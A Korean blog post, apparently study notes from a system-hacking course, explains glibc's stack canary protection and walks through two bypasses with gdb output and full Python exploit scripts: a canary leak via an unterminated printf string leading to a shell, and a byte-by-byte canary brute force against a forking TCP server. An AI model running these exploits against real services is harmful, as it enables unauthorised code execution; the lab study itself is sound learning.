Stack Smashing Protector
메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법.
스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입해 함수 종료 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지를 확인한다.
SSP 보호 기법이 적용되어 있다면 함수에서 스택을 사용할 때 카나리가 생성된다.
마스터 카나리는 main함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역 변수로 사용되는 TLS에 저장한다. TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당된다.
TLS는 tcbhead_t 구조체를 가지는데, 다음과 같은 멤버 변수들이 존재한다.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
int private_futex;
#else
int __glibc_reserved1;
#endif
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
} tcbhead_t;
security_init
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
_dl_setup_stack_chk_guard
void *
internal_function
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
/* Memory layout is:
[ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
^ This should be returned. */
size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
& ~(GL(dl_tls_static_align) - 1);
#endif
/* Allocate a correctly aligned chunk of memory. */
result = __libc_memalign (GL(dl_tls_static_align), size);
security_init 함수는 _dl_setup_stack_chk_guard 함수에서 반환한 랜덤 카나리 값을 설정한다.
THREAD_SET_STACK_GUARD 매크로는 TLS 영역의 header.stack_guard에 카나리의 값을 삽입하는 역할을 한다.
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
master1.c
// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[256];
read(0, buf, 256);
}
256바이트 배열 buf를 할당하고 read 함수를 통해 입력받는 예제
SSP 보호기법 적용
지역변수 사용 → main함수에서 카나리를 삽입하고 검사하는 루틴 존재
$ gdb -q ./master1
Reading symbols from ./master1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804846b <+0>: lea ecx,[esp+0x4]
0x0804846f <+4>: and esp,0xfffffff0
0x08048472 <+7>: push DWORD PTR [ecx-0x4]
0x08048475 <+10>: push ebp
0x08048476 <+11>: mov ebp,esp
0x08048478 <+13>: push ecx
0x08048479 <+14>: sub esp,0x114
0x0804847f <+20>: mov eax,gs:0x14
0x08048485 <+26>: mov DWORD PTR [ebp-0xc],eax
...
End of assembler dump.
(gdb) b *0x08048485
Breakpoint 1 at 0x8048485
(gdb) r
Starting program: /Linux_Exploitation_Mitigation/master1
Breakpoint 1, 0x08048485 in main ()
(gdb) p/x $eax
$1 = 0x4dc1e800
(gdb)
0x8048485에 bp를 걸고 eax 레지스터를 보면 카나리 값을 확인할 수 있다. (0x4dc1e800)
find 명령어를 통해 마스터 카나리의 위치를 찾아보자.
(gdb) info proc map
process 116985
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 ~/master1
0x8049000 0x804a000 0x1000 0x0 ~/master1
0x804a000 0x804b000 0x1000 0x1000 ~/master1
0xf7dff000 0xf7e00000 0x1000 0x0
0xf7e00000 0xf7fb0000 0x1b0000 0x0 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb0000 0xf7fb2000 0x2000 0x1af000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb2000 0xf7fb3000 0x1000 0x1b1000 /lib/i386-linux-gnu/libc-2.23.so
0xf7fb3000 0xf7fb6000 0x3000 0x0
0xf7fd3000 0xf7fd4000 0x1000 0x0
0xf7fd4000 0xf7fd7000 0x3000 0x0 [vvar]
0xf7fd7000 0xf7fd9000 0x2000 0x0 [vdso]
0xf7fd9000 0xf7ffc000 0x23000 0x0 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x1000 0x22000 /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x1000 0x23000 /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find 0xf7dff000, +4096, 0x4dc1e800
0xf7dff714
1 pattern found.
(gdb) x/wx 0xf7dff714
0xf7dff714: 0x4dc1e800
(gdb)
master1 프로세스의 메모리 맵 중 TLS 영역인 0xf7dff000 - 0xf7e00000 의 header.stack_guard에 카나리가 존재하는 것 확인. 이는 gs:0x14를 접근함으로써 참조 가능하다.
![](https://blog.kakaocdn.net/dn/cYavxJ/btqYKaKwQ4d/WSe7uG8AAXrV6VsQz270zk/img.png)
![](https://blog.kakaocdn.net/dn/P0vox/btqYQxEWNdl/M9GqZTywjRyxvtAxI7uso0/img.png)
![](https://blog.kakaocdn.net/dn/bDTTSn/btqYKacFZk5/QfaNGOE0SMHyZVPjGZnULk/img.png)
![](https://blog.kakaocdn.net/dn/nFvEP/btqYJ80jBWJ/o1GTv07dDhXCK6foJ9gkx0/img.png)
(추가) 실습환경을 다시 구성했다.
![](https://blog.kakaocdn.net/dn/phf0Y/btqZcsZcy0E/W8qBOiNeXBhhRSqUxmqKN1/img.png)
![](https://blog.kakaocdn.net/dn/OIJRT/btqZegqqI8j/7NuVMozQ5NGDwUCLnxwcd0/img.png)
카나리 값 : 0xc3570d00
컴파일러에서 SSP 보호기법을 적용하는 경우 스택 배열을 사용하는 함수가 있으면 함수의 시작 부분과 끝 부분에 ssp.c와 같이 stack_guard 체크 코드가 삽입된다.
no_ssp.c
// gcc -o no_ssp no_ssp.c -m32 -fno-stack-protector
#include <stdio.h>
#include <string.h>
void func(char *s){
char buf[16] = {};
strcpy(buf, s);
}
int main(int argc, char *argv[]){
func(argv[1]);
}
Disassembly of no_ssp
$ gdb -q ./no_ssp
Reading symbols from ./no_ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x18
0x08048411 <+6>: mov DWORD PTR [ebp-0x18],0x0
0x08048418 <+13>: mov DWORD PTR [ebp-0x14],0x0
0x0804841f <+20>: mov DWORD PTR [ebp-0x10],0x0
0x08048426 <+27>: mov DWORD PTR [ebp-0xc],0x0
0x0804842d <+34>: sub esp,0x8
0x08048430 <+37>: push DWORD PTR [ebp+0x8]
0x08048433 <+40>: lea eax,[ebp-0x18]
0x08048436 <+43>: push eax
0x08048437 <+44>: call 0x80482e0 <strcpy@plt>
0x0804843c <+49>: add esp,0x10
0x0804843f <+52>: nop
0x08048440 <+53>: leave
0x08048441 <+54>: ret
End of assembler dump.
(gdb)
ssp.c
// gcc -o ssp ssp.c -m32
#include <stdio.h>
#include <string.h>
void func(char *s){
char buf[16] = {};
/*
long canary = stack_guard;
*/
strcpy(buf, s);
/*
if (canary != stack_guard)
stack_chk_fail();
*/
}
int main(int argc, char *argv[]){
func(argv[1]);
}
Disassembly of ssp
$ gdb -q ./ssp
Reading symbols from ./ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
0x0804846b <+0>: push ebp
0x0804846c <+1>: mov ebp,esp
0x0804846e <+3>: sub esp,0x38
0x08048471 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048474 <+9>: mov DWORD PTR [ebp-0x2c],eax
0x08048477 <+12>: mov eax,gs:0x14
0x0804847d <+18>: mov DWORD PTR [ebp-0xc],eax
0x08048480 <+21>: xor eax,eax
0x08048482 <+23>: mov DWORD PTR [ebp-0x1c],0x0
0x08048489 <+30>: mov DWORD PTR [ebp-0x18],0x0
0x08048490 <+37>: mov DWORD PTR [ebp-0x14],0x0
0x08048497 <+44>: mov DWORD PTR [ebp-0x10],0x0
0x0804849e <+51>: sub esp,0x8
0x080484a1 <+54>: push DWORD PTR [ebp-0x2c]
0x080484a4 <+57>: lea eax,[ebp-0x1c]
0x080484a7 <+60>: push eax
0x080484a8 <+61>: call 0x8048340 <strcpy@plt>
0x080484ad <+66>: add esp,0x10
0x080484b0 <+69>: nop
0x080484b1 <+70>: mov eax,DWORD PTR [ebp-0xc]
0x080484b4 <+73>: xor eax,DWORD PTR gs:0x14
0x080484bb <+80>: je 0x80484c2 <func+87>
0x080484bd <+82>: call 0x8048330 <__stack_chk_fail@plt>
0x080484c2 <+87>: leave
0x080484c3 <+88>: ret
End of assembler dump.
(gdb)
no_ssp와 달리 ssp에서는 함수의 프롤로그와 에필로그에 스택 카나리 검증 루틴이 추가되었다.
두 바이너리에 각각 buf 배열의 사이즈보다 긴 값을 인자로 전달해 bof 취약점을 트리거한다.
$ ./no_ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 35367 segmentation fault (core dumped) ./no_ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./ssp terminated
[1] 35374 abort (core dumped) ./ssp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
no_ssp 바이너리 : Segmentation fault 예외가 출력되어 프로그램이 비정상 종료됨.
ssp 바이너리 : __stack_chk_fail 함수가 호출되어 "stack smashing detected" 문자열을 출력하며 프로그램이 종료됨.
Bypassing SSP - 1
SSP 보호기법을 우회하기 위해서는 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 익스플로잇을 해야 한다.
example6.c
// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
int main(void){
char buf[32] = {};
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input1 : ");
read(0, buf, 512);
printf("Your input : %s", buf);
printf("Input2 : ");
read(0, buf, 512);
}
main 함수에서 read 함수를 호출할 때, buf의 크기보다 더 큰 크기를 입력받아 스택 버퍼 오버플로우가 두 번 발생한다. 하지만 example6 바이너리에는 SSP가 설정되어 있어 스택 카나리의 값을 알아내지 못한다면 스택 버퍼 오버플로우 취약점만으로는 실행 흐름을 조작할 수 없다.
printf("Your input : %s", buf);
%s 포맷 스트링을 이용해 buf 내용을 출력한다.
printf함수의 %s 포맷스트링은 NULL바이트를 만날 때까지 출력해준다.
buf 배열의 끝이 NULL바이트가 아니라면 buf 배열 밖의 메모리까지 출력 가능하다.
leak.c
// gcc -o leak leak.c -m32
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void){
char buf[8] = {};
char secret[16] = {};
strcpy(secret, "secret message");
read(0, buf, 10);
printf("%s\n", buf);
}
gdb를 이용해 buf 배열부터 스택 카나리 +1까지의 오프셋을 구한다.
$ gdb -q ./example6
Reading symbols from ./example6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804855e <+0>: push ebp
0x0804855f <+1>: mov ebp,esp
0x08048561 <+3>: sub esp,0x24
0x08048564 <+6>: mov eax,gs:0x14
0x0804856a <+12>: mov DWORD PTR [ebp-0x4],eax
…
0x080485c0 <+98>: add esp,0x4
0x080485c3 <+101>: push 0x200
0x080485c8 <+106>: lea eax,[ebp-0x24]
0x080485cb <+109>: push eax
0x080485cc <+110>: push 0x0
0x080485ce <+112>: call 0x80483e0 <read@plt>
…
0x0804860c <+174>: mov edx,DWORD PTR [ebp-0x4]
0x0804860f <+177>: xor edx,DWORD PTR gs:0x14
0x08048616 <+184>: je 0x804861d <main+191>
0x08048618 <+186>: call 0x8048400 <__stack_chk_fail@plt>
0x0804861d <+191>: leave
0x0804861e <+192>: ret
End of assembler dump.
(gdb) b *0x080485ce
Breakpoint 1 at 0x80485ce
(gdb) r
Starting program: ~/example6
Input1 :
Breakpoint 1, 0x080485ce in main ()
(gdb) x/3wx $esp
0xffffd528: 0x00000000 0xffffd534 0x00000200
(gdb) x/40wx 0xffffd534
0xffffd534: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd544: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd554: 0xc5a20100 0x00000000 0xf7e19637 0x00000001
0xffffd564: 0xffffd5f4 0xffffd5fc 0x00000000 0x00000000
0xffffd574: 0x00000000 0xf7fb3000 0xf7ffdc04 0xf7ffd000
0xffffd584: 0x00000000 0xf7fb3000 0xf7fb3000 0x00000000
0xffffd594: 0x0416aed7 0x389780c7 0x00000000 0x00000000
0xffffd5a4: 0x00000000 0x00000001 0x08048450 0x00000000
0xffffd5b4: 0xf7fee010 0xf7fe8880 0xf7ffd000 0x00000001
0xffffd5c4: 0x08048450 0x00000000 0x08048471 0x0804855e
(gdb) p/x 0xffffd555-0xffffd534
$1 = 0x21
(gdb)
스택 카나리 +1부터 buf까지의 오프셋은 0x21인 것을 알 수 있다.
example6_leak.py
#!/usr/bin/python
'''
example6_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
write(s, "A"*33)
data = read(out_r, 1024) # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
스택 카나리의 값을 구하는 파이썬 스크립트
$ python example6_leak.py
Input1 :
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE\x8b\xa5'
[+] CANARY : 0xa58b4500
카나리 값 출력
구한 카나리 값으로 main 함수의 2번째 read 함수에서 스택 버퍼 오버플로우를 익스플로잇할 수 있다.
gdb를 이용해 give_shell 함수의 주소를 구한 후 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 획득한다.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x804854b <give_shell>
(gdb)
example6.py
#!/usr/bin/python
'''
example6.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) # "Input1 : "
write(s, "A"*33)
data = read(out_r, 1024) # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
print read(out_r, 10) # "Input2 : "
giveshell = 0x804854b
payload = "A"*32 # filling buf
payload += canary
payload += "B"*4 # padding until return address
payload += p32(giveshell)
write(s, payload)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
res = read(out_r, 102400)
sys.stdout.write(res)
example6의 리턴 주소를 give_xhell 함수의 주소인 0x804854b로 바꿔 쉘을 획득하는 파이썬 스크립트
$ python example6.py
Input1 :
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\xf2\x13'
[+] CANARY : 0x13f21b00
Input2 :
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
실행 → 쉘 획득
Bypassing SSP - 2
ssp_fork1.c
// gcc -o ssp_fork1 ssp_fork1.c -m32
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
pid_t pid;
pid = fork(); //fork
if(pid == -1) { //fork error
printf("error\n");
}
if(pid == 0) { // child
printf("Im child!\n");
printf("Process ID : %d\n", getpid());
}
else{ //parent
printf("Im parent!\n");
printf("Process ID : %d\n", getpid());
}
}
fork 함수를 사용해 자식 프로세스를 생성하는 코드
fork 함수는 부모 프로세스의 TLS 영역과 스택 메모리 등을 복제해 자식 프로세스를 생성한다. 따라서 부모와 자식 프로세스의 스택 카나리 값은 동일하다.
gdb로 ssp_fork1의 부모 프로세스와 자식 프로세스의 카나리 값 확인
부모 프로세스
(gdb) set detach-on-fork off
(gdb) set follow-fork-mode parent
(gdb) x/60i main
0x8048593 <main+125>: lea eax,[ebx-0x195f]
0x8048599 <main+131>: push eax
=> 0x804859a <main+132>: call 0x80483c0 <puts@plt>
(gdb) x/s $eax
0x80486a1: "Im parent!"
0x80485bf <main+169>: mov edx,DWORD PTR [ebp-0xc]
=> 0x80485c2 <main+172>: xor edx,DWORD PTR gs:0x14
(gdb) p $edx
$3 = 0x7812a500
자식 프로세스
(gdb) info thread
Id Target Id Frame
2.1 process 13253 "test" 0xf7fd5079 in ?? ()
(gdb) thread 2.1
(gdb) x/60i main
0x8048567 <main+81>: lea eax,[ebx-0x197a]
0x804856d <main+87>: push eax
=> 0x804856e <main+88>: call 0x80483c0 <puts@plt>
(gdb) x/s $eax
0x8048686: "Im child!"
0x80485bf <main+169>: mov edx,DWORD PTR [ebp-0xc]
=> 0x80485c2 <main+172>: xor edx,DWORD PTR gs:0x14
(gdb) p $edx
$14 = 0x7812a500
둘의 스택 카나리 값이 동일하다.
ssp_server.c
// gcc -o ssp_server ssp_server.c -m32
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h>
#define PORT 31337
char *name = "What is your name? ";
char *bye = "See you again.";
char *critical_msg = "THIS_FUNCTION_SHOULD_NOT_BE_CALLED";
void critical(int fd){
send(fd, critical_msg, strlen(critical_msg), 0);
}
void handler(int fd)
{
char buf[32] = {};
send(fd, &fd, 4, 0);
send(fd, name, strlen(name), 0);
read(fd, buf, 1024);
return;
}
int main(void)
{
int server_fd, new_socket, pid;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char *hello = "Hello from server";
// Creating socket file descriptor
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
&opt, sizeof(opt)))
{
perror("setsockopt");
exit(EXIT_FAILURE);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons( PORT );
if (bind(server_fd, (struct sockaddr *)&address,
sizeof(address))<0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
if (listen(server_fd, 3) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
while (1)
{
if ((new_socket = accept(server_fd, (struct sockaddr *)&address,
(socklen_t*)&addrlen))<0)
{
perror("accept");
exit(EXIT_FAILURE);
}
pid = fork();
if (pid == -1)
{
perror("fork failed");
exit(EXIT_FAILURE);
}
else if (pid)
{
puts("Socket connected");
close(new_socket);
}
else
{
handler(new_socket);
send(new_socket, bye, strlen(bye), 0);
return 0;
}
}
return 0;
}
fork를 이용한 서버 프로그램
31337번 포트에 TCP 서버를 연 후 클라이언트의 연결이 들어오면 자식 프로세스를 생성한 후 handler 함수를 호출한다. handler 함수에서는 32바이트 버퍼에 1024 바이트의 입력을 클라이언트로부터 받기 때문에 스택 버퍼 오버플로우가 존재한다. 하지만 SSP 보호기법이 적용되어 있어 이를 우회해야 한다.
ssp_server의 부모 프로세스에서는 자식 프로세스의 시그널을 처리하는 루틴이 없기 때문에 자식 프로세스에서 SIGSEGV나 SIGABRT 예외가 발생해도 부모 프로세스는 종료되지 않는다. 만약 handler함수가 정상적으로 리턴된다면
send(new_socket, bye,strlen(bye),0);
에서 bye 문자열을 출력하고, 스택 카나리 검사가 실패해 자식 프로세스가 SIGABRT 예외로 종료된다면 출력하지 않는다.
bye 출력 유무로 스택 카나리 검사를 통과했는지 여부를 알 수 있다는 점과, 새로운 연결로부터 생성된 자식 프로세스와 부모 프로세스의 스택 카나리가 같다는 점을 이용하면 브루트 포싱 공격을 통해 스택 카나리의 값을 한 바이트씩 알아낼 수 있다.
ssp_server.py
#!/usr/bin/python
import struct
import socket
import time
def p32(val):
return struct.pack("<I", val)
def u32(val):
return struct.unpack("<I", val)[0]
def recvuntil(sock, needle):
res = ''
while True:
res += sock.recv(1)
if needle in res:
return res
IP = '127.0.0.1'
PORT = 31337
# First byte of canary is NULL byte
canary = '\x00'
for _ in range(3):
for i in range(256):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
recvuntil(s, "What is your name? ")
payload = "A"*0x20
payload += canary + chr(i)
s.send(payload)
res = s.recv(1024)
if 'See you again.' in res:
canary += chr(i)
print `canary`
s.close()
break
s.close()
print `"Stack Canary : " + canary`
CRITICAL_ADDR = 0x080486db
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
client_fd = u32(s.recv(4))
print "client fd : %d"%client_fd
recvuntil(s, "What is your name? ")
payload = "A"*0x20
payload += canary
payload += "B"*0xc
payload += p32(CRITICAL_ADDR)
payload += p32(0xdeadbeef)
payload += p32(client_fd)
s.send(payload)
print `s.recv(1024)`
s.close()
브루트 포싱 공격을 통해 ssp_server의 스택 카나리 값을 알아낸 후 handler 함수의 리턴 주소를 critical 함수의 주소인 0x80486db로 덮어 critical 함수를 호출하는 공격 코드
스택 카나리의 상위 3바이트 알아냄
for _ in range(3):
for i in range(256):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
recvuntil(s, "What is your name? ")
payload = "A"*0x20
payload += canary + chr(i)
s.send(payload)
res = s.recv(1024)
if 'See you again.' in res:
canary += chr(i)
print `canary`
s.close()
break
s.close()
스택 카나리를 알아냄
payload = "A"*0x20
payload += canary
payload += "B"*0xc
payload += p32(CRITICAL_ADDR)
payload += p32(0xdeadbeef)
스택 카나리를 이용해 handler 함수의 리턴 주소를 critical 함수의 주소로 덮는다.
client_fd = u32(s.recv(4))
위에서 알아낸 클라이언트의 소켓 파일 디스크립터 client_fd를 critical 함수의 인자로 전달
ssp_server.py 실행결과
$ python ssp_server.py
'\x00\x04'
'\x00\x04\xb7'
'\x00\x04\xb7\xdc'
'Stack Canary : \x00\x04\xb7\xdc'
client fd : 4
'THIS_FUNCTION_SHOULD_NOT_BE_CALLED'
critical 함수가 호출되어 critical_msg가 출력됨
SSP 설정 여부 확인
$ gdb -q ./ssp
Reading symbols from ./ssp...(no debugging symbols found)...done.
(gdb) disas func
Dump of assembler code for function func:
0x0804846b <+0>: push ebp
0x0804846c <+1>: mov ebp,esp
0x0804846e <+3>: sub esp,0x38
0x08048471 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048474 <+9>: mov DWORD PTR [ebp-0x2c],eax
0x08048477 <+12>: mov eax,gs:0x14
0x0804847d <+18>: mov DWORD PTR [ebp-0xc],eax
…
0x080484b4 <+73>: xor eax,DWORD PTR gs:0x14
0x080484bb <+80>: je 0x80484c2 <func+87>
0x080484bd <+82>: call 0x8048330 <__stack_chk_fail@plt>
0x080484c2 <+87>: leave
0x080484c3 <+88>: ret
End of assembler dump.
(gdb)
ssp가 적용되어 있는 바이너리의 디스어셈블리 결과를 보면 스택 카나리가 변조되었을 때 함수의 에필로그에서 stack_chk_fail 함수를 호출하는 코드를 확인할 수 있다.
stack_chk_fail은 표준 라이브러리인 libc.so.6에 존재하는 함수이기 때문에 바이너리에 이 함수의 심볼이 존재하는지 확인하는 것만으로 SSP 적용 여부를 알 수 있다.
readelf를 이용해 SSP보호기법의 적용 여부를 확인하는 방법
$ readelf -s ./no_ssp | grep stack_chk_fail
$ readelf -s ./ssp | grep stack_chk_fail
1: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (2)
53: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@@GLIBC_2
no_ssp 바이너리는 stack_chk_fail 심볼이 없고 ssp 바이너리에는 심볼이 존재하는 것을 확인 가능하다.
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] PIE (0) | 2021.02.28 |
---|---|
[dream hack] RELRO (0) | 2021.02.28 |
[dream hack] PLT, GOT Section (0) | 2021.02.27 |
[dream hack] ASLR (0) | 2021.02.26 |
[dream hack] NX bit (0) | 2021.02.20 |